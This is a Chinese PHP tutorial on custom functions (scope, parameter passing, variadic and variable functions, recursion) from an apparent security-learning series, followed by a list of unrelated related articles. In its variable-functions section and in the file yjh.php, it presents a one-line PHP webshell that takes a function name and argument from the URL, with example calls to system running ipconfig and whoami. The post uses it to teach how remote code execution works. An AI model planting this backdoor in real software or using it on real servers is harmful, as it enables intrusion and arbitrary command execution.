目录

自定义函数

结构

注意:

PHP变量的范围

局部变量

全局变量

静态变量

参数的传递

1、按值传递参数(默认方式)

2、按引用传参

3、默认参数

4、可变函数参数列表

可变函数(变量函数)

最简单的后门(最简单的一句话木马):$a($b)

递归函数

源码

1.php

2.php(局部变量)

3.php(全局变量)

4.php(静态变量)

5.php()

6.php(按默认值传递参数/引用传参)

7.php(默认参数)

8.php(可变函数参数)

9.php(可变函数)

yjh.php(最简单的后门)

10.php(递归函数)


自定义函数

代码块

有输入,大多数情况下有输出

结构

function 函数名(形参){

代码块

return ;

}

注意:

函数调用时,实参要按照顺序给形参。
函数调用时,互相独立,默认没有联系。
执行完毕后,返回调用的位置,继续向下执行。

PHP变量的范围

局部变量

在函数内部定义的变量

变量的作用范围就是这个函数

全局变量

在PHP脚本中,函数外部定义的变量

变量的作用域为整个PHP脚本

在函数中使用全局变量?
1、传参

2、声明

global

3、常量的作用域,是超全局(函数内部、外部都能用)

<?php
$a=10;
define("NAME","AJEST")
function test(){echo $a;global $a;echo $a;echo NAME;
}
test();
?>

静态变量

在函数内部定义

用static修饰符修饰

仅在函数初次执行时被初始化

参数的传递

1、按值传递参数(默认方式)

对形参的操作,不会对实参产生影响。

2、按引用传参

相当于给实参起了一个别名,对形参的操作会影响实参。

3、默认参数

如果没有给函数传递实参,取默认值

建议:全给默认参数

4、可变函数参数列表

func_get_arg ( int $arg_num ) : mixed

func_get_args();    //

func_get_arg();     //根据参数偏移量,从0开始计数,获取参数

func_num_args();  //获取参数的个数

可变函数(变量函数)

函数名为变量,类似这样的结构

$a($b)

也是最简单的后门

变量后面直接加括号——变成一个函数

这种动态函数非常危险,如果这个动态函数的函数名可以控制,参数可控,我们就可以直接任意命令了。这就是RCE(远程命令/代码执行漏洞)其中一个原理

我们有一些PHP语句不是函数,比如说print,echo。如果非要输出试试printf。(printf只有字符串输出功能)
那我们这个system函数会将字符串当做命令去执行

system — 执行外部程序,并且显示输出

最简单的后门(最简单的一句话木马):$a($b)

就两个变量名就没了

<?php
$_GET['a']($_GET['b']);
?>

在URL中输入:localhost/1.php?a=system&b=ipconfig
(system — 执行外部程序,并且显示输出)

在URL中输入:localhost/1.php?a=system&b=whoami

递归函数

递归函数在函数内部自己调用自己的函数

源码

1.php

<?php
function userprint(){echo "This is userprint Fun!";
}
function hello($name){echo "Hello, ".$name;
}
function add($a,$b){$c = $a + $b;return $c;
}
userprint();
hello("GGG");
echo "<hr />";
echo add(1,2);
?>

2.php(局部变量)

<?php
$a = 10;
function test(){echo $a;
}
test();
echo "<hr />";
echo $a;
?>

3.php(全局变量)

<?php
$a = 10;
define("NAME","GGG");
function test(){echo $a;global $a;echo $a;echo NAME;
}
test();
?>

4.php(静态变量)

<?php
function test(){static $a = 10;echo ++$a."|";
}
test();
test();
test();
?>

5.php()

<?php
function A(){echo "This is A fun!<hr />";
}
function B(){echo "This is B fun!<hr />";A();echo "Fun B end!<hr />";
}
function C(){echo "This is Fun C<hr />";B();echo "All Fun end<hr />";
}
C();
?>

6.php(按默认值传递参数/引用传参)

<?php
/*
function add($x){echo ++$x;
}
*/
function add(&$x){echo ++$x;
}
$a = 3;
add($a);
echo "<hr />";
echo $a;
?>

7.php(默认参数)

<?php
function add($a=2,$b){echo $a+$b."<hr />";
}
add(10,20);
//add(4);
add (1,2,3,4,5);
?>

8.php(可变函数参数)

<?php
function test(){//echo "This is :".__FUNCTION__;echo func_num_args();//传参个数echo "<br />";echo func_get_arg(1);//根据参数偏移量,从零开始计数,获取参数值echo "<br />";for($i=0;$i<func_num_args();$i++){echo func_get_arg($i)."|";}
}
//test();
test("GGG",24,true,89.9);
echo "<br />";
?>

9.php(可变函数)

<?php
function test1(){echo "This is func".__FUNCTION__;echo "<br />".func_get_arg(0);
}
function test2(){echo "This is func".__FUNCTION__;echo "<br />".func_get_arg(0);
}
//$a="test1";
//$a="test2";
//$a="var_dump";
//$a="echo"
//$a("GGG");//函数 函数名$abs test1("GGG")
//$a="printf";
$a ="system";
$a("ipconfig");
?>

yjh.php(最简单的后门)

<?php
$_GET['a']($_GET['b']);
?>

10.php(递归函数)

<?php
function test($n){echo $n.'&nbsp';if($n>0){test($n-1);}else{echo '<-->';}echo $n.'&nbsp';
}
test(3);//3 2 1 0 <-->0 1 2 3?>

【CyberSecurityLearning 46】PHP 函数相关推荐

  1. Linux系统编程 46 -lseek函数

    学习笔记 lseek函数 文件偏移 以前有接触到fseek 库函数,lseek和它有点类似. #include <sys/types.h> #include <unistd.h> ...

  2. 整理uc/os的46个函数

    Void OSInit(void); 所属文件 OS_CORE.C     调用者 启动代码    开关量 无 OSinit()初始化μC/OS-Ⅱ,对这个函数的调用必须在调用OSStart()函数之 ...

  3. python常用内置函数总结-Python 常用内置函数

    Python 常用内置函数如下: 1. abs()函数返回数字的绝对值. print( abs(-45) )# 返回45print("abs(0.2):",abs(0.2))#返回 ...

  4. Hive常用运算(关系运算)、逻辑运算与数学运算、数值运算、日期函数、条件函数、字符串函数

    hive 常用运算 第一部分:关系运算 Hive支持的关系运算符 •常见的关系运算符 •等值比较: = •不等值比较: <> •小于比较: < •小于等于比较: <= •大于比 ...

  5. 深入浅出学Hive:Hive内建操作符与函数开发

    目录: 初始Hive Hive安装与配置 Hive内建操作符与函数开发 Hive JDBC Hive参数 Hive高级编程 Hive QL Hive Shell基本操作 Hive优化 Hive体系结构 ...

  6. LoadRunner 常用函数大全+1

    1 LoadRunner 函数大全之中文解释 // button_press 函数激活指定的推按钮. int button_press ( LPCSTR button ); // button_set ...

  7. LoadRunner函数大全

    转:http://blog.csdn.net/windone0109/article/details/4353916 1 LoadRunner 函数大全之中文解释 // button_press 函数 ...

  8. C语言常见字符串函数、字符分类函数与内存函数的使用

    前言 C语言中对字符和字符串的处理很是频繁,但是C语言本身是没有字符串类型的,字符串通常放在 常量字符串 中或者 字符数组 中.下面介绍C语言中的一些常用的字符串函数和内存函数的功能以及实现原理. 字 ...

  9. MySql计算两个日期的时间差函数

    MySql计算两个日期时间的差函数: 第一种:TIMESTAMPDIFF函数,需要传入三个参数,第一个是比较的类型,可以比较FRAC_SECOND.SECOND. MINUTE. HOUR. DAY. ...

最新文章

  1. U盘安装Ubuntu14.4时遇到分区问题记录
  2. 服务器上装centos系统花屏,CentOS系统如何解决鼠标花屏的问题
  3. 【jQuery】使用jquery.form.js,获取提交表单返回值
  4. /hbase/WALs/desktop,xxxxxxxx-splitting is non empty: Directory is not empty
  5. linux入门_linux入门-常用命令的使用
  6. python每日经典算法题5(基础题)+1(较难题)
  7. 使用pip将Python软件包从本地文件系统文件夹安装到virtualenv
  8. python怎么使用-如何使用python进行第一个机器学习项目(详细教程篇)
  9. Ubuntu离线安装VSCode(附带前期准备工作)
  10. 嵌入式linux交叉开发环境,构建嵌入式Linux交叉开发环境
  11. AspNetPager 与分页存储过程详解
  12. pandas DataFrame 直接生成plot图片 pandas.DataFrame.plot()
  13. k8s实战入门——Service
  14. win7计算机文件浏览不了,win7系统计算机文件打不开的解决方法
  15. 当年腾讯为什么从QQ转移扶植到微信,如今微信已撑起腾讯半壁江山
  16. mysql 留存率统计_留存率,数据表分表问题
  17. 大根堆、小根堆(数组模拟操作)
  18. CUDA学习(十一):原子操作实现向量内积
  19. STM32CUBEMX+Eclipse构建项目过程
  20. python练手(PyAutoGUI)

热门文章

  1. pytorch自定义数据集DataLoder
  2. linux不允许root用户登录图形界面的解决办法
  3. 博客使用的CSS代码备份
  4. 在.NET Core中三种实现“可插拔”AOP编程方式(附源码)
  5. 全球酒店详情查看API接口-基于极核数据
  6. 面向对象的继承关系体现在数据结构上时,如何表示
  7. 软件专业人才应具备四种素质
  8. 一幅图弄清DFT与DTFT,DFS的关系
  9. Linux下远程连接断开后如何让程序继续运行
  10. 深度探索va_start、va_arg、va_end